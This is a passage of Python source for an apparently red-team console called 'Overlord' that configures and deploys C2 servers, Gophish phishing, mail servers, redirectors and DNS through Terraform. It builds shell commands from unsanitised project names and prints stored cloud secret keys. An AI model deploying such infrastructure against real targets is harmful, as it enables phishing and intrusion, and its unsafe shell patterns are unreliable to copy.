            with open(dir_path + '/variables.json', 'r') as filehandle:
                self.variables = json.load(filehandle)
            self.project_id = arg.id
            proj = cmd2.ansi.style(self.project_id,
                                   fg='blue',
                                   bg='',
                                   bold=True,
                                   underline=False)
            notification = cmd2.ansi.style("***",
                                           fg='red',
                                           bg='',
                                           bold=True,
                                           underline=False)
            print(
                f"""\n{notification} The project with ID {proj} has been loaded {notification}\n"""
            )
        self.update_choices(self.campaign)
        self.prompt = "(" + cmd2.ansi.style(
            "Overlord", fg='red', bg='', bold=True,
            underline=False) + " : " + cmd2.ansi.style(
                self.project_id,
                fg='bright_black',
                bg='',
                bold=True,
                underline=False) + ")" + "$> "

    cloneproject_parser = argparse.ArgumentParser(prog='clone')
    cloneproject_id = cloneproject_parser.add_argument(
        'id', type=str, help='example: [ clone <ID> ]')
    cloneproject_parser.add_argument('-n',
                                     '--name',
                                     type=str,
                                     help='Name of the new project')

    @cmd2.with_argparser(cloneproject_parser)
    def do_clone(self, arg):
        """Clones a project to a new one"""
        project_to_clone = arg.id
        dir_path = "projects/" + project_to_clone
        notification = cmd2.ansi.style("***",
                                       fg='red',
                                       bg='',
                                       bold=True,
                                       underline=False)
        new_path = ""
        new_project_name = ""
        if arg.name is None:
            uniq = True
            while True:
                rand = randomString()
                for p in next(os.walk(dir_path))[1]:
                    if p == rand:
                        uniq = False
                if uniq:
                    break
            new_path = "projects/" + rand
            new_project_name = rand
        else:
            new_path = "projects/" + arg.name
            new_project_name = arg.name

        if not os.path.exists(new_path):
            command = 'mkdir ' + new_path
            os.system(command)
            shutil.copy(dir_path + '/campaign.json',
                        new_path + '/campaign.json')
            shutil.copy(dir_path + '/variables.json',
                        new_path + '/variables.json')

            self.loadproject_id.choices = next(os.walk("projects"))[1]
            self.cloneproject_id.choices = next(os.walk("projects"))[1]

            print(
                f"""\n{notification} The project with ID {project_to_clone} has been cloned to {new_project_name}  {notification}\n"""
            )

        else:
            print(
                f"""\n{notification} The project with ID {new_project_name} already exists! {notification}\n"""
            )

    #@cmd2.with_argparser(deleteproject_parser)
    def do_delete(self, arg):
        """Deletes a project"""
        flag = input(
            cmd2.ansi.style("Are you sure? [y/N]:",
                            fg='red',
                            bg='',
                            bold=True,
                            underline=False))
        if flag == 'y':
            dir_path = "projects/" + self.project_id + "/.terraform"
            if os.path.exists(dir_path):
                os.system(
                    f"""cd projects/{self.project_id} && /opt/terraform state rm module.redirect_ns"""
                )
                os.system(
                    f"""cd projects/{self.project_id} && /opt/terraform destroy -auto-approve"""
                )
                os.system(
                    f"""rm projects/{self.project_id}/terraform.tfstate*""")
                shutil.rmtree(f"""projects/{self.project_id}/.terraform""")
            notification = cmd2.ansi.style("***",
                                           fg='red',
                                           bg='',
                                           bold=True,
                                           underline=False)
            print(
                f"""\n{notification} Check if terraform exited without an error before you proceed. {notification}\n"""
            )
            flag1 = input(
                cmd2.ansi.style(
                    "Proceding with deleting project directory. Are you sure? [y/N]:",
                    fg='red',
                    bg='',
                    bold=True,
                    underline=False))
            if flag1 == "y":
                shutil.rmtree("projects/" + self.project_id)
                self.loadproject_id.choices = next(os.walk("projects"))[1]
                self.cloneproject_id.choices = next(os.walk("projects"))[1]
                self.update_choices(self.campaign)
                proj = cmd2.ansi.style(self.project_id,
                                       fg='blue',
                                       bg='',
                                       bold=True,
                                       underline=False)
                notification = cmd2.ansi.style("***",
                                               fg='red',
                                               bg='',
                                               bold=True,
                                               underline=False)
                print(
                    f"""\n{notification} The project with ID {proj} has been deleted {notification}\n"""
                )

    def do_save(self, arg):
        """Save a project"""
        dir_path = "projects/" + self.project_id
        if not os.path.exists(dir_path):
            self.create_dir()
        with open(dir_path + '/campaign.json', 'w') as filehandle:
            json.dump(self.campaign, filehandle, indent=4)
        with open(dir_path + '/variables.json', 'w') as filehandle:
            json.dump(self.variables, filehandle, indent=4)
        self.loadproject_id.choices = next(os.walk("projects"))[1]
        self.cloneproject_id.choices = next(os.walk("projects"))[1]
        proj = cmd2.ansi.style(self.project_id,
                               fg='blue',
                               bg='',
                               bold=True,
                               underline=False)
        notification = cmd2.ansi.style("***",
                                       fg='red',
                                       bg='',
                                       bold=True,
                                       underline=False)
        print(
            f"""\n{notification} The config files for the project with ID {proj} have been created  {notification}\n"""
        )

    def do_rename(self, arg):
        """Rename a project"""
        notification = cmd2.ansi.style("***",
                                       fg='red',
                                       bg='',
                                       bold=True,
                                       underline=False)
        if not arg:
            print(
                f"""\n{notification} You have to specify a new name for your project! {notification}\n"""
            )
        else:
            proj_old = cmd2.ansi.style(self.project_id,
                                       fg='blue',
                                       bg='',
                                       bold=True,
                                       underline=False)
            dir_path = "projects/" + self.project_id
            if os.path.exists(dir_path):
                os.rename("projects/" + self.project_id, "projects/" + arg)
            self.project_id = arg

            self.loadproject_id.choices = next(os.walk("projects"))[1]
            self.cloneproject_id.choices = next(os.walk("projects"))[1]

            proj = cmd2.ansi.style(self.project_id,
                                   fg='blue',
                                   bg='',
                                   bold=True,
                                   underline=False)
            print(
                f"""\n{notification} The project with ID {proj_old} has been renamed to {proj} {notification}\n"""
            )
            self.prompt = "(" + cmd2.ansi.style(
                "Overlord", fg='red', bg='', bold=True,
                underline=False) + " : " + cmd2.ansi.style(
                    self.project_id,
                    fg='bright_black',
                    bg='',
                    bold=True,
                    underline=False) + ")" + "$> "

    def do_deploy(self, arg):
        """Deploy current  project"""
        proj = cmd2.ansi.style(self.project_id,
                               fg='blue',
                               bg='',
                               bold=True,
                               underline=False)
        notification = cmd2.ansi.style("***",
                                       fg='red',
                                       bg='',
                                       bold=True,
                                       underline=False)
        print(
            f"""\n{notification} Started deployment of project with ID {proj} {notification}\n"""
        )
        os.system(
            f"""mkdir -p projects/{self.project_id}/.terraform/plugins/linux_amd64 """
        )
        os.system(
            f"""cp redbaron/data/plugins/terraform-provider-godaddy_v1.7.3_x4 projects/{self.project_id}/.terraform/plugins/linux_amd64/terraform-provider-godaddy_v1.7.3_x4"""
        )
        os.system(
            f"""chmod -R a+x projects/{self.project_id}/.terraform/plugins/linux_amd64/*"""
        )
        os.system(f"""cd projects/{self.project_id} && /opt/terraform init""")
        os.system(f"""cd projects/{self.project_id} && /opt/terraform plan""")
        os.system(
            f"""cd projects/{self.project_id} && /opt/terraform apply -auto-approve"""
        )
        print(
            f"""\n{notification} Terraform has finished with the installation {notification}\n"""
        )

    # USEMODULE COMMAND
    # create the top-level parser for the usemodule command
    usemodule_parser = argparse.ArgumentParser(prog='usemodule')
    usemodule_subparsers = usemodule_parser.add_subparsers(
        title='usemodule-commands', help='usemodule-command help')

    # create the parser for the sub-command
    parser_dns_records = usemodule_subparsers.add_parser(
        'dns_records', help='Settings to create a dns_record instance')
    parser_gophish = usemodule_subparsers.add_parser(
        'gophish', help='Settings to create a gophish instance')
    parser_mail = usemodule_subparsers.add_parser(
        'mail', help='Settings to create a mail instance')
    parser_webserver = usemodule_subparsers.add_parser(
        'webserver', help='Settings to create a webserver instance')
    parser_c2 = usemodule_subparsers.add_parser(
        'c2', help='Settings to create a c2  instance')
    parser_letsencrypt = usemodule_subparsers.add_parser(
        'letsencrypt', help='Settings to create letsencrypt instance')
    parser_redirector = usemodule_subparsers.add_parser(
        'redirector', help='Settings to create redirector instance')
    parser_godaddy = usemodule_subparsers.add_parser(
        'godaddy',
        help='Settings to create godaddy NS redirection in a provider of choice'
    )
    parser_ansible = usemodule_subparsers.add_parser(
        'ansible', help='Settings to install asnible playbooks')

    #parser_firewall = usemodule_subparsers.add_parser('firewall', help='firewall help')

    def update_choices(self, camp):
        """Update choices of the argparses for:INFO, DELETE ,EDIT module"""
        self.info_mods_id.choices = updateModulesIdList(camp, "info")
        self.del_mods_id.choices = updateModulesIdList(camp, "del")
        self.edit_mods_id.choices = updateModulesIdList(camp, "edit")

    def usemodule_dns_record(self, arg):
        """Opens the DNS_RECORD module for configuration"""
        if not self.variables["domains"]:
            print("No domains are set! [help set domains]")
        elif len(self.campaign) == 0:
            print("No modules are set! [help usemodule]")
        else:
            dns_records.main(self.variables["domains"], self.campaign, None,
                             self.project_id)
            addModule(dns_records.module, self.campaign)
            self.update_choices(self.campaign)
            dns_records.module = {}

    def usemodule_redirector(self, arg):
        """Opens the Redirector module for configuration"""
        redirector.main(None, self.campaign, self.project_id)
        addModule(redirector.module, self.campaign)
        self.update_choices(self.campaign)
        redirector.module = {}

    def usemodule_c2(self, arg):
        """Opens the C2 module for configuration"""
        c2.main(self.campaign, None, self.project_id)
        addModule(c2.module, self.campaign)
        self.update_choices(self.campaign)
        c2.module = {}

    def usemodule_ansible(self, arg):
        """Opens the C2 module for configuration"""
        ansible.main(self.campaign, None, self.project_id)
        addModule(ansible.module, self.campaign)
        self.update_choices(self.campaign)
        ansible.module = {}

    # TODO: Maybe in a future update
    # def usemodule_firewall(self, arg):
    #     """Opens the Firewall module for configuration"""
    #     if len(self.campaign) == 0:
    #          print("No modules are set! [help usemodule]")
    #     firewall.main(self.campaign,None)
    #     addModule(firewall.module,self.campaign)
    #     self.update_choices(self.campaign)
    #     firewall.module={}

    def usemodule_godaddy(self, arg):
        """Opens the Godaddy module for configuration"""
        if not self.variables["godaddy_access_key"]:
            print(
                "The access key of  Godaddy is not set! [help set godaddy_access_key]"
            )
        elif not self.variables["godaddy_secret_key"]:
            print(
                "The secret key of  Godaddy is not set! [help set godaddy_secret_key]"
            )
        elif not self.variables["domains"]:
            print("No domains are set! [help set domains]")
        else:
            godaddy.main(self.campaign, self.variables["domains"], None,
                         self.project_id)
            addModule(godaddy.module, self.campaign)
            self.update_choices(self.campaign)
            godaddy.module = {}

    def usemodule_mail(self, arg):
        """Opens the mail module for configuration"""
        if not self.variables["domains"]:
            print("No domains are set! [help set domains]")
        else:
            mail_server.main(self.variables["domains"], self.campaign, None,
                             self.project_id)
            addModule(mail_server.module, self.campaign)
            self.update_choices(self.campaign)
            mail_server.module = {}

    def usemodule_webserver(self, arg):
        """Opens the webserver module for configuration"""
        webserver.main(self.campaign, None, self.project_id)
        addModule(webserver.module, self.campaign)
        self.update_choices(self.campaign)
        webserver.module = {}

    def usemodule_gophish(self, arg):
        """Opens the gophish module for configuration"""
        gophish.main(self.campaign, None, self.project_id)
        addModule(gophish.module, self.campaign)
        self.update_choices(self.campaign)
        gophish.module = {}

    def usemodule_letsencrypt(self, arg):
        """Opens the letsencrypt module for configuration"""
        a_records = False
        for c in self.campaign:
            if c["module"] == "dns_record" and c["type"] == "A":
                a_records = True
                break
        if a_records == False:
            print("No A records were set! [help usemodule dns_records]")
        else:
            letsencrypt.main(self.campaign, None,
                             self.project_id)  #self.variables["domains"]
            addModule(letsencrypt.module, self.campaign)
            self.update_choices(self.campaign)
            letsencrypt.module = {}

    # usemodule handler functions for the sub-commands
    parser_dns_records.set_defaults(func=usemodule_dns_record)
    parser_c2.set_defaults(func=usemodule_c2)
    parser_gophish.set_defaults(func=usemodule_gophish)
    parser_mail.set_defaults(func=usemodule_mail)
    parser_webserver.set_defaults(func=usemodule_webserver)
    parser_letsencrypt.set_defaults(func=usemodule_letsencrypt)
    parser_redirector.set_defaults(func=usemodule_redirector)
    parser_godaddy.set_defaults(func=usemodule_godaddy)
    parser_ansible.set_defaults(func=usemodule_ansible)
    # parser_firewall.set_defaults(func=usemodule_firewall)

    @cmd2.with_argparser(usemodule_parser)
    def do_usemodule(self, args):
        """Usemodule command help"""
        func = getattr(args, 'func', None)
        if func is not None:
            # Call whatever sub-command function was selected
            func(self, args)
        else:
            # No sub-command was provided, so call help
            self.do_help('help')

    # DELETEMODULE COMMAND
    # create the parser for the delmodule command
    delmodule_parser = argparse.ArgumentParser(prog='delmodule')
    del_mods_id = delmodule_parser.add_argument('id',
                                                type=str,
                                                choices=modules_ids,
                                                help='delete module')

    @cmd2.with_argparser(delmodule_parser)
    def do_delmodule(self, arg):
        """Deletes a module"""
        if arg.id == "all":
            self.campaign = []
            notification = cmd2.ansi.style("***",
                                           fg='red',
                                           bg='',
                                           bold=True,
                                           underline=False)
            print(
                f"""\n{notification} All modules have been deleted from the campaign {notification}\n"""
            )
        else:
            for idx, c in enumerate(self.campaign):
                if arg.id == c["id"]:
                    self.campaign.pop(idx)
                    mod = cmd2.ansi.style(c["module"],
                                          fg='blue',
                                          bg='',
                                          bold=True,
                                          underline=False)
                    mod_id = cmd2.ansi.style(c["id"],
                                             fg='blue',
                                             bg='',
                                             bold=True,
                                             underline=False)
                    notification = cmd2.ansi.style("***",
                                                   fg='red',
                                                   bg='',
                                                   bold=True,
                                                   underline=False)
                    print(
                        f"""\n{notification} Module {mod} with ID {mod_id} has been deleted from the campaign {notification}\n"""
                    )

    # EDITMODULE COMMAND
    # create the parser for the editmodule command
    editmodule_parser = argparse.ArgumentParser(prog='editmodule')
    edit_mods_id = editmodule_parser.add_argument(
        'id',
        type=str,
        choices=modules_ids,
        help='example: [ editmodule <ID> ]')

    @cmd2.with_argparser(editmodule_parser)
    def do_editmodule(self, arg):
        """Edits a module"""
        #Checks the module type and pass it to the correct module for processing
        for idx, c in enumerate(self.campaign):
            if arg.id == c["id"]:
                mod = self.campaign.pop(idx)

                if c["module"] == "c2":
                    c2.main(self.campaign, mod, self.project_id)
                    addModule(c2.module, self.campaign)
                    self.update_choices(self.campaign)
                    c2.module = {}
                    break

                if c["module"] == "dns_record":
                    dns_records.main(self.variables["domains"], self.campaign,
                                     mod, self.project_id)
                    addModule(dns_records.module, self.campaign)
                    self.update_choices(self.campaign)
                    dns_records.module = {}
                    break

                if c["module"] == "redirector":
                    redirector.main(mod, self.campaign, self.project_id)
                    addModule(redirector.module, self.campaign)
                    self.update_choices(self.campaign)
                    redirector.module = {}
                    break

                if c["module"] == "gophish":
                    gophish.main(self.campaign, mod, self.project_id)
                    addModule(gophish.module, self.campaign)
                    self.update_choices(self.campaign)
                    gophish.module = {}
                    break

                if c["module"] == "letsencrypt":
                    letsencrypt.main(
                        self.campaign, mod,
                        self.project_id)  #self.variables["domains"]
                    addModule(letsencrypt.module, self.campaign)
                    self.update_choices(self.campaign)
                    letsencrypt.module = {}
                    break

                if c["module"] == "mail":
                    mail_server.main(self.variables["domains"], self.campaign,
                                     mod, self.project_id)
                    addModule(mail_server.module, self.campaign)
                    self.update_choices(self.campaign)
                    mail_server.module = {}
                    break

                if c["module"] == "webserver":
                    webserver.main(self.campaign, mod, self.project_id)
                    addModule(webserver.module, self.campaign)
                    self.update_choices(self.campaign)
                    webserver.module = {}
                    break

                if c["module"] == "godaddy":
                    godaddy.main(self.campaign, self.variables["domains"], mod,
                                 self.project_id)
                    addModule(godaddy.module, self.campaign)
                    self.update_choices(self.campaign)
                    godaddy.module = {}
                    break

                if c["module"] == "ansible":
                    ansible.main(self.campaign, mod, self.project_id)
                    addModule(ansible.module, self.campaign)
                    self.update_choices(self.campaign)
                    ansible.module = {}
                    break

                # if c["module"] == "firewall":
                #     firewall.main(self.campaign,mod)
                #     addModule(firewall.module,self.campaign)
                #     self.update_choices(self.campaign)
                #     firewall.module={}
                #     break

    # SET COMMAND
    # create the top-level parser for the set command
    set_parser = argparse.ArgumentParser(prog='set')
    set_subparsers = set_parser.add_subparsers(title='set-commands',
                                               help='set-command help')

    # create the parser for the "counter" sub-command
    parser_dotoken = set_subparsers.add_parser(
        'dotoken', help='Sets the Digital Ocean Token')
    parser_dotoken.add_argument('dotoken',
                                type=str,
                                help='example : [ set dotoken <token>]')

    parser_aws_secret_key = set_subparsers.add_parser(
        'aws_secret_key', help='Sets the AWS Secret Key')
    parser_aws_secret_key.add_argument(
        'aws_secret_key',
        type=str,
        help='example : [ set aws_secret_key <token>]')

    parser_aws_access_key = set_subparsers.add_parser(
        'aws_access_key', help='Sets the AWS Access Key')
    parser_aws_access_key.add_argument(
        'aws_access_key',
        type=str,
        help='example : [ set aws_access_key <token>]')

    parser_godaddy_access_key = set_subparsers.add_parser(
        'godaddy_access_key', help='Sets the Godaddy Access Key')
    parser_godaddy_access_key.add_argument(
        'godaddy_access_key',
        type=str,
        help='example : [ set godaddy_access_key <token>]')

    parser_godaddy_secret_key = set_subparsers.add_parser(
        'godaddy_secret_key', help='Sets the Godaddy Secret Key')
    parser_godaddy_secret_key.add_argument(
        'godaddy_secret_key',
        type=str,
        help='example : [ set godaddy_secret_key <token>]')

    parser_domains = set_subparsers.add_parser(
        'domains',
        help=
        'Domain names to be used in the campaign (Multilpe domain names can be added)'
    )
    parser_domains.add_argument('-a',
                                '--add',
                                type=str,
                                help='Domain to be added')
    domain_parser_id = parser_domains.add_argument('-d',
                                                   '--delete',
                                                   type=str,
                                                   choices=("kokos.com",
                                                            "a.com"),
                                                   help='Domain to be deleted')

    parser_variables = set_subparsers.add_parser(
        'variables',
        help='Sets the default variables.json to the values that are in memory'
    )
    parser_variables.add_argument('variables',
                                  nargs="?",
                                  type=str,
                                  help='example : [ set variables]')

    def set_dotoken(self, arg):
        """Sets the dotoken"""
        self.variables["dotoken"] = arg.dotoken

    def set_aws_access_key(self, arg):
        """Sets the aws_access_key"""
        self.variables["aws_access_key"] = arg.aws_access_key

    def set_aws_secret_key(self, arg):
        """Sets the aws_secret_key"""
        self.variables["aws_secret_key"] = arg.aws_secret_key

    def set_godaddy_access_key(self, arg):
        """Sets the aws_access_key"""
        self.variables["godaddy_access_key"] = arg.godaddy_access_key

    def set_godaddy_secret_key(self, arg):
        """Sets the aws_access_key"""
        self.variables["godaddy_secret_key"] = arg.godaddy_secret_key

    def set_domains(self, arg):
        """Sets the domains"""
        if arg.add:
            self.variables["domains"].insert((len(self.variables["domains"])),
                                             arg.add)
        elif arg.delete:
            for idx, c in enumerate(self.variables["domains"]):
                if arg.delete == c:
                    self.variables["domains"].pop(idx)
        self.domain_parser_id.choices = self.variables["domains"]

    def set_variables(self, arg):
        with open('projects/variables.json', 'w') as filehandle:
            json.dump(self.variables, filehandle, indent=4)

        notification = cmd2.ansi.style("***",
                                       fg='red',
                                       bg='',
                                       bold=True,
                                       underline=False)
        print(
            f"""\n{notification} Variables have been saved to ./projects/variables.json {notification}\n"""
        )

    #Set handler functions for the sub-commands
    parser_variables.set_defaults(func=set_variables)
    parser_dotoken.set_defaults(func=set_dotoken)
    parser_aws_access_key.set_defaults(func=set_aws_access_key)
    parser_aws_secret_key.set_defaults(func=set_aws_secret_key)
    parser_godaddy_access_key.set_defaults(func=set_godaddy_access_key)
    parser_godaddy_secret_key.set_defaults(func=set_godaddy_secret_key)
    parser_domains.set_defaults(func=set_domains)

    @cmd2.with_argparser(set_parser)
    def do_set(self, args):
        """General variables for the campaign to be set"""
        func = getattr(args, 'func', None)
        if func is not None:
            # Call whatever sub-command function was selected
            func(self, args)
        else:
            # No sub-command was provided, so call help
            self.do_help('help')

    # INFO COMMAND
    # create the top-level parser for the info command
    info_parser = argparse.ArgumentParser(prog='info')
    info_mods_id = info_parser.add_argument('id',
                                            nargs="?",
                                            type=str,
                                            choices=modules_ids,
                                            help='example: [ info <ID> ]')

    def info_table(self, c):
        """Uses Pretty Table to print the info for a specific campaign object"""
        if c["module"] == "c2":
            c2.cmd_main.do_info(None, c)
        if c["module"] == "redirector":
            redirector.cmd_main.do_info(None, c)
        if c["module"] == "dns_record":
            dns_records.cmd_main.do_info(None, c)
        if c["module"] == "gophish":
            gophish.cmd_main.do_info(None, c)
        if c["module"] == "letsencrypt":
            letsencrypt.cmd_main.do_info(None, c)
        if c["module"] == "mail":
            mail_server.cmd_main.do_info(None, c)
        if c["module"] == "webserver":
            webserver.cmd_main.do_info(None, c)
        if c["module"] == "godaddy":
            godaddy.cmd_main.do_info(None, c)
        if c["module"] == "ansible":
            ansible.cmd_main.do_info(None, c)
        # if c["module"] == "firewall":
        #     firewall.cmd_main.do_info(None,c)

    @cmd2.with_argparser(info_parser)
    def do_info(self, arg):
        """Prints variable table or contents of a module which was added to the campaign"""
        if arg.id is not None:
            #Prints table for all or one module by specifing the ID
            if arg.id == "all":
                for c in self.campaign:
                    self.info_table(c)
            else:
                for c in self.campaign:
                    if arg.id == c["id"]:
                        self.info_table(c)

        else:
            #Prints the general variables and the table with the module IDs
            print(f"Project ID: {self.project_id}")
            if 'dotoken' in self.variables.keys():
                print(f"Digital Ocean Key: {self.variables['dotoken']}")
            if 'aws_access_key' in self.variables.keys():
                print(f"AWS Access Key: {self.variables['aws_access_key']}")
            if 'aws_secret_key' in self.variables.keys():
                print(f"AWS Secret Key: {self.variables['aws_secret_key']}")
            if 'godaddy_access_key' in self.variables.keys():
                print(
                    f"Godaddy Access Key: {self.variables['godaddy_access_key']}"
                )
            if 'godaddy_secret_key' in self.variables.keys():
                print(
                    f"Godaddy Secret Key: {self.variables['godaddy_secret_key']}"
                )
            print(f"Domains: {', '.join(self.variables['domains'])}")
            x = PrettyTable()
            x.title = 'Campaign'
            x.field_names = ["#", "MODULE", "ID"]
            for idx, i in enumerate(self.campaign):
                if 'type' in i:
                    x.add_row(
                        [idx + 1, i["module"] + "/" + i["type"], i["id"]])
                else:
                    x.add_row([idx + 1, i["module"], i["id"]])
                x.align["DESCRITPION"] = "l"
            print(x)

    # Command categories
    CMD_CAT_GENERAL = 'General (type help <command>)'
    CMD_CAT_MODULE = 'Module  (type help <command>)'
    CMD_CAT_PROJECT = 'Project (type help <command>)'
    #Help Menu
    cmd2.categorize((do_create, do_new, do_save, do_deploy, do_delete, do_load,
                     do_rename, do_clone), CMD_CAT_PROJECT)
    cmd2.categorize((do_usemodule, do_editmodule, do_delmodule),
                    CMD_CAT_MODULE)
    cmd2.categorize((do_set, do_info), CMD_CAT_GENERAL)